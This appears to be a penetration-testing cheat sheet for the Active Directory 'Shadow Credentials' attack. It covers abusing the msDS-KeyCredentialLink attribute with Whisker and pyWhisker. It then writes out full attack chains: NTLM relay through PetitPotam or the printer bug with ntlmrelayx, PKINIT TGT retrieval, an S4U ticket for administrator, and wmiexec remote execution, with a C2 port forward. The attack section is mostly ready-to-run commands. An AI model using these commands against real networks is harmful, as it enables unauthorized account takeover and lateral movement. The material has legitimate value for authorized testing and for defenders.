Pentest – Password – Shadow Credentials
Add Key Credentials to the attribute
msDS-KeyCredentialLinkof the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.
User objects can’t edit their own msDS-KeyCredentialLink attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists
Requirements:
- Domain Controller on (at least) Windows Server 2016
- Domain must have Active Directory
Certificate ServicesandCertificate Authorityconfigured - PKINIT Kerberos authentication
- An account with the delegated rights to write to the
msDS-KeyCredentialLinkattribute of the target object
Exploitation:
- From Windows, use Whisker:
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object. Whisker.exe list /target:computername$ # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device. Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password" Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1] # Removes a key credential from the target object specified by a DeviceID GUID. Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b - From Linux, use pyWhisker:
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object. python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list" # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device. pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list" python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1" # Removes a key credential from the target object specified by a DeviceID GUID. python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"
Scenario:
- Scenario 1: Shadow Credential relaying
- Trigger an NTLM authentication from
DC01(PetitPotam) - Relay it to
DC02(ntlmrelayx) - Edit
DC01‘s attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker) - Alternatively :
ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$' - Scenario 2: Workstation Takeover with RBCD
# Only for C2: Add Reverse Port Forward from 8081 to Team Server 81 # Set up ntlmrelayx to relay authentication from target workstation to DC proxychains python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials --shadow-target ws2\$ --http-port 81 # Execute printer bug to trigger authentication from target workstation proxychains python3 printerbug.py ez.lab/matt:Password1\!@ws2.ez.lab ws1@8081/file # Get a TGT using the newly acquired certificate via PKINIT proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR # Get a ST (service ticket) for the target account proxychains python3 gets4uticket.py kerberos+ccache://ez.lab\\ws2\$:ws2.ccache@dc1.ez.lab cifs/ws2.ez.lab@ez.lab administrator@ez.lab administrator_tgs.ccache -v # Utilize the ST for future activity export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache proxychains python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab
References
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